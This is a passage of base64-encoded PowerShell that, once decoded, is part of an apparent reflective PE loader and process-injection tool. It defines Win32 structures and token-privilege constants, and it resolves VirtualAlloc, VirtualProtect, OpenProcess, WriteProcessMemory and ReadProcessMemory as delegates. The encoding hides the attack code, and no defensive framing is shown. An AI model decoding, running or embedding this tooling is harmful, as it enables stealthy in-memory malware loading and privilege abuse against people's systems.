CQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1
YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9yVmVyc2lv
bicsIFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVG
aWVsZCgnTWlub3JWZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5
cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOYW1lJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdCYXNlJywgW1VJbnQzMl0sICdQdWJsaWMn
KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZkZ1bmN0aW9u
cycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVG
aWVsZCgnTnVtYmVyT2ZOYW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRU
eXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQWRkcmVzc09mRnVuY3Rpb25zJywgW1VJbnQzMl0sICdQ
dWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZO
YW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp
bmVGaWVsZCgnQWRkcmVzc09mTmFtZU9yZGluYWxzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJElNQUdFX0VYUE9SVF9ESVJFQ1RPUlkgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlw
ZSgpCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt
TmFtZSBJTUFHRV9FWFBPUlRfRElSRUNUT1JZIC1WYWx1ZSAkSU1BR0VfRVhQT1JUX0RJUkVDVE9S
WQoJCQoKCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJs
aWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVp
bGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0xVSUQnLCAkQXR0cmlidXRlcywgW1N5
c3RlbS5WYWx1ZVR5cGVdLCA4KQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG93UGFydCcs
IFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVs
ZCgnSGlnaFBhcnQnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkTFVJRCA9ICRU
eXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJl
clR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIExVSUQgLVZhbHVlICRMVUlECgkJCgoJCSRBdHRyaWJ1
dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExh
eW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1
aWxkZXIuRGVmaW5lVHlwZSgnTFVJRF9BTkRfQVRUUklCVVRFUycsICRBdHRyaWJ1dGVzLCBbU3lz
dGVtLlZhbHVlVHlwZV0sIDEyKQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTHVpZCcsICRM
VUlELCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXR0
cmlidXRlcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRMVUlEX0FORF9BVFRS
SUJVVEVTID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1l
bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTFVJRF9BTkRfQVRUUklCVVRFUyAt
VmFsdWUgJExVSURfQU5EX0FUVFJJQlVURVMKCQkKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91
dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJl
Zm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBl
KCdUT0tFTl9QUklWSUxFR0VTJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMTYp
CgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQcml2aWxlZ2VDb3VudCcsIFtVSW50MzJdLCAn
UHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUHJpdmlsZWdl
cycsICRMVUlEX0FORF9BVFRSSUJVVEVTLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUT0tFTl9Q
UklWSUxFR0VTID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRk
LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgVE9LRU5fUFJJVklMRUdFUyAt
VmFsdWUgJFRPS0VOX1BSSVZJTEVHRVMKCgkJcmV0dXJuICRXaW4zMlR5cGVzCgl9CgoJRnVuY3Rp
b24gR2V0LVdpbjMyQ29uc3RhbnRzCgl7CgkJJFdpbjMyQ29uc3RhbnRzID0gTmV3LU9iamVjdCBT
eXN0ZW0uT2JqZWN0CgkJCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlw
ZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX0NPTU1JVCAtVmFsdWUgMHgwMDAwMTAwMAoJCSRXaW4z
MkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1F
TV9SRVNFUlZFIC1WYWx1ZSAweDAwMDAyMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJl
ciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9OT0FDQ0VTUyAtVmFsdWUgMHgw
MQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5
IC1OYW1lIFBBR0VfUkVBRE9OTFkgLVZhbHVlIDB4MDIKCQkkV2luMzJDb25zdGFudHMgfCBBZGQt
TWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdFX1JFQURXUklURSAtVmFs
dWUgMHgwNAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIFBBR0VfV1JJVEVDT1BZIC1WYWx1ZSAweDA4CgkJJFdpbjMyQ29uc3RhbnRz
IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRF
IC1WYWx1ZSAweDEwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1JFQUQgLVZhbHVlIDB4MjAKCQkkV2luMzJD
b25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdF
X0VYRUNVVEVfUkVBRFdSSVRFIC1WYWx1ZSAweDQwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1l
bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1dSSVRFQ09Q
WSAtVmFsdWUgMHg4MAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUg
Tm90ZVByb3BlcnR5IC1OYW1lIFBBR0VfTk9DQUNIRSAtVmFsdWUgMHgyMDAKCQkkV2luMzJDb25z
dGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9S
RUxfQkFTRURfQUJTT0xVVEUgLVZhbHVlIDAKCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVy
IC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9SRUxfQkFTRURfSElHSExPVyAt
VmFsdWUgMwoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIElNQUdFX1JFTF9CQVNFRF9ESVI2NCAtVmFsdWUgMTAKCQkkV2luMzJDb25z
dGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9T
Q05fTUVNX0RJU0NBUkRBQkxFIC1WYWx1ZSAweDAyMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9F
WEVDVVRFIC1WYWx1ZSAweDIwMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAt
TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9SRUFEIC1WYWx1ZSAw
eDQwMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3Rl
UHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9XUklURSAtVmFsdWUgMHg4MDAwMDAwMAoJCSRX
aW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1l
IElNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCAtVmFsdWUgMHgwNDAwMDAwMAoJCSRXaW4zMkNvbnN0
YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1FTV9ERUNP
TU1JVCAtVmFsdWUgMHg0MDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVy
VHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRklMRV9FWEVDVVRBQkxFX0lNQUdFIC1WYWx1
ZSAweDAwMDIKCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQ
cm9wZXJ0eSAtTmFtZSBJTUFHRV9GSUxFX0RMTCAtVmFsdWUgMHgyMDAwCgkJJFdpbjMyQ29uc3Rh
bnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRExM
Q0hBUkFDVEVSSVNUSUNTX0RZTkFNSUNfQkFTRSAtVmFsdWUgMHg0MAoJCSRXaW4zMkNvbnN0YW50
cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX0RMTENI
QVJBQ1RFUklTVElDU19OWF9DT01QQVQgLVZhbHVlIDB4MTAwCgkJJFdpbjMyQ29uc3RhbnRzIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX1JFTEVBU0UgLVZh
bHVlIDB4ODAwMAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90
ZVByb3BlcnR5IC1OYW1lIFRPS0VOX1FVRVJZIC1WYWx1ZSAweDAwMDgKCQkkV2luMzJDb25zdGFu
dHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBUT0tFTl9BREpV
U1RfUFJJVklMRUdFUyAtVmFsdWUgMHgwMDIwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJl
ciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgU0VfUFJJVklMRUdFX0VOQUJMRUQgLVZh
bHVlIDB4MgoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIEVSUk9SX05PX1RPS0VOIC1WYWx1ZSAweDNmMAoJCQoJCXJldHVybiAkV2lu
MzJDb25zdGFudHMKCX0KCglGdW5jdGlvbiBHZXQtV2luMzJGdW5jdGlvbnMKCXsKCQkkV2luMzJG
dW5jdGlvbnMgPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCQkkVmlydHVhbEFsbG9jQWRk
ciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jCgkJJFZpcnR1YWxB
bGxvY0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludFB0cl0sIFtV
SW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQoJCSRWaXJ0dWFsQWxsb2MgPSBbU3lzdGVtLlJ1
bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9p
bnRlcigkVmlydHVhbEFsbG9jQWRkciwgJFZpcnR1YWxBbGxvY0RlbGVnYXRlKQoJCSRXaW4zMkZ1
bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvYyAtVmFs
dWUgJFZpcnR1YWxBbGxvYwoJCQoJCSRWaXJ0dWFsQWxsb2NFeEFkZHIgPSBHZXQtUHJvY0FkZHJl
c3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvY0V4CgkJJFZpcnR1YWxBbGxvY0V4RGVsZWdhdGUg
PSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludFB0cl0sIFtVSW50
MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQoJCSRWaXJ0dWFsQWxsb2NFeCA9IFtTeXN0ZW0uUnVu
dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2lu
dGVyKCRWaXJ0dWFsQWxsb2NFeEFkZHIsICRWaXJ0dWFsQWxsb2NFeERlbGVnYXRlKQoJCSRXaW4z
MkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvY0V4
IC1WYWx1ZSAkVmlydHVhbEFsbG9jRXgKCQkKCQkkbWVtY3B5QWRkciA9IEdldC1Qcm9jQWRkcmVz
cyBtc3ZjcnQuZGxsIG1lbWNweQoJCSRtZW1jcHlEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUg
QChbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSkgKFtJbnRQdHJdKQoJCSRtZW1jcHkgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1
bmN0aW9uUG9pbnRlcigkbWVtY3B5QWRkciwgJG1lbWNweURlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0
aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIG1lbWNweSAt
VmFsdWUgJG1lbWNweQoJCQoJCSRtZW1zZXRBZGRyID0gR2V0LVByb2NBZGRyZXNzIG1zdmNydC5k
bGwgbWVtc2V0CgkJJG1lbXNldERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJd
LCBbSW50MzJdLCBbSW50UHRyXSkgKFtJbnRQdHJdKQoJCSRtZW1zZXQgPSBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRl
cigkbWVtc2V0QWRkciwgJG1lbXNldERlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1N
ZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIG1lbXNldCAtVmFsdWUgJG1lbXNl
dAoJCQoJCSRMb2FkTGlicmFyeUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIExv
YWRMaWJyYXJ5QQoJCSRMb2FkTGlicmFyeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtT
dHJpbmddKSAoW0ludFB0cl0pCgkJJExvYWRMaWJyYXJ5ID0gW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvYWRM
aWJyYXJ5QWRkciwgJExvYWRMaWJyYXJ5RGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRk
LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTG9hZExpYnJhcnkgLVZhbHVl
ICRMb2FkTGlicmFyeQoJCQoJCSRHZXRQcm9jQWRkcmVzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3Mg
a2VybmVsMzIuZGxsIEdldFByb2NBZGRyZXNzCgkJJEdldFByb2NBZGRyZXNzRGVsZWdhdGUgPSBH
ZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtTdHJpbmddKSAoW0ludFB0cl0pCgkJJEdldFBy
b2NBZGRyZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0
RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzQWRkciwgJEdldFByb2NB
ZGRyZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlw
ZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0UHJvY0FkZHJlc3MgLVZhbHVlICRHZXRQcm9jQWRkcmVz
cwoJCQoJCSRHZXRQcm9jQWRkcmVzc09yZGluYWxBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5l
bDMyLmRsbCBHZXRQcm9jQWRkcmVzcwoJCSRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSA9
IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW0ludFB0cl0pIChbSW50UHRyXSkKCQkkR2V0
UHJvY0FkZHJlc3NPcmRpbmFsID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz
aGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzT3JkaW5h
bEFkZHIsICRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMg
fCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRQcm9jQWRkcmVz
c09yZGluYWwgLVZhbHVlICRHZXRQcm9jQWRkcmVzc09yZGluYWwKCQkKCQkkVmlydHVhbEZyZWVB
ZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQoJCSRWaXJ0dWFs
RnJlZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludFB0cl0sIFtV
SW50MzJdKSAoW0Jvb2xdKQoJCSRWaXJ0dWFsRnJlZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFs
RnJlZUFkZHIsICRWaXJ0dWFsRnJlZURlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1N
ZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxGcmVlIC1WYWx1ZSAkVmlydHVhbEZyZWUK
CQkKCQkkVmlydHVhbEZyZWVFeEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZp
cnR1YWxGcmVlRXgKCQkkVmlydHVhbEZyZWVFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBA
KFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSkgKFtCb29sXSkKCQkkVmly
dHVhbEZyZWVFeCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06Okdl
dERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFsRnJlZUV4QWRkciwgJFZpcnR1YWxG
cmVlRXhEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0
eSAtTmFtZSBWaXJ0dWFsRnJlZUV4IC1WYWx1ZSAkVmlydHVhbEZyZWVFeAoJCQoJCSRWaXJ0dWFs
UHJvdGVjdEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxQcm90ZWN0
CgkJJFZpcnR1YWxQcm90ZWN0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0s
IFtVSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkK
CQkkVmlydHVhbFByb3RlY3QgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo
YWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbFByb3RlY3RBZGRyLCAk
VmlydHVhbFByb3RlY3REZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5v
dGVQcm9wZXJ0eSAtTmFtZSBWaXJ0dWFsUHJvdGVjdCAtVmFsdWUgJFZpcnR1YWxQcm90ZWN0CgkJ
CgkJJEdldE1vZHVsZUhhbmRsZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIEdl
dE1vZHVsZUhhbmRsZUEKCQkkR2V0TW9kdWxlSGFuZGxlRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVU
eXBlIEAoW1N0cmluZ10pIChbSW50UHRyXSkKCQkkR2V0TW9kdWxlSGFuZGxlID0gW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBv
aW50ZXIoJEdldE1vZHVsZUhhbmRsZUFkZHIsICRHZXRNb2R1bGVIYW5kbGVEZWxlZ2F0ZSkKCQkk
V2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRNb2R1bGVI
YW5kbGUgLVZhbHVlICRHZXRNb2R1bGVIYW5kbGUKCQkKCQkkRnJlZUxpYnJhcnlBZGRyID0gR2V0
LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBGcmVlTGlicmFyeQoJCSRGcmVlTGlicmFyeURlbGVn
YXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdKSAoW0Jvb2xdKQoJCSRGcmVlTGlicmFy
eSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRl
Rm9yRnVuY3Rpb25Qb2ludGVyKCRGcmVlTGlicmFyeUFkZHIsICRGcmVlTGlicmFyeURlbGVnYXRl
KQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5
IC1OYW1lIEZyZWVMaWJyYXJ5IC1WYWx1ZSAkRnJlZUxpYnJhcnkKCQkKCQkkT3BlblByb2Nlc3NB
ZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBPcGVuUHJvY2VzcwoJICAgICRPcGVu
UHJvY2Vzc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtVSW50MzJdLCBbQm9vbF0sIFtV
SW50MzJdKSAoW0ludFB0cl0pCgkgICAgJE9wZW5Qcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLklu
dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJE9w
ZW5Qcm9jZXNzQWRkciwgJE9wZW5Qcm9jZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgT3BlblByb2Nlc3MgLVZh
bHVlICRPcGVuUHJvY2VzcwoJCQoJCSRXYWl0Rm9yU2luZ2xlT2JqZWN0QWRkciA9IEdldC1Qcm9j
QWRkcmVzcyBrZXJuZWwzMi5kbGwgV2FpdEZvclNpbmdsZU9iamVjdAoJICAgICRXYWl0Rm9yU2lu
Z2xlT2JqZWN0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtVSW50MzJd
KSAoW1VJbnQzMl0pCgkgICAgJFdhaXRGb3JTaW5nbGVPYmplY3QgPSBbU3lzdGVtLlJ1bnRpbWUu
SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigk
V2FpdEZvclNpbmdsZU9iamVjdEFkZHIsICRXYWl0Rm9yU2luZ2xlT2JqZWN0RGVsZWdhdGUpCgkJ
JFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5h
bWUgV2FpdEZvclNpbmdsZU9iamVjdCAtVmFsdWUgJFdhaXRGb3JTaW5nbGVPYmplY3QKCQkKCQkk
V3JpdGVQcm9jZXNzTWVtb3J5QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgV3Jp
dGVQcm9jZXNzTWVtb3J5CiAgICAgICAgJFdyaXRlUHJvY2Vzc01lbW9yeURlbGVnYXRlID0gR2V0
LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSwg
W1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkKICAgICAgICAkV3JpdGVQcm9jZXNz
TWVtb3J5ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVs
ZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFdyaXRlUHJvY2Vzc01lbW9yeUFkZHIsICRXcml0ZVBy
b2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1i
ZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBXcml0ZVByb2Nlc3NNZW1vcnkgLVZhbHVlICRXcml0
ZVByb2Nlc3NNZW1vcnkKCQkKCQkkUmVhZFByb2Nlc3NNZW1vcnlBZGRyID0gR2V0LVByb2NBZGRy
ZXNzIGtlcm5lbDMyLmRsbCBSZWFkUHJvY2Vzc01lbW9yeQogICAgICAgICRSZWFkUHJvY2Vzc01l
bW9yeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0lu
dFB0cl0sIFtVSW50UHRyXSwgW1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkKICAg
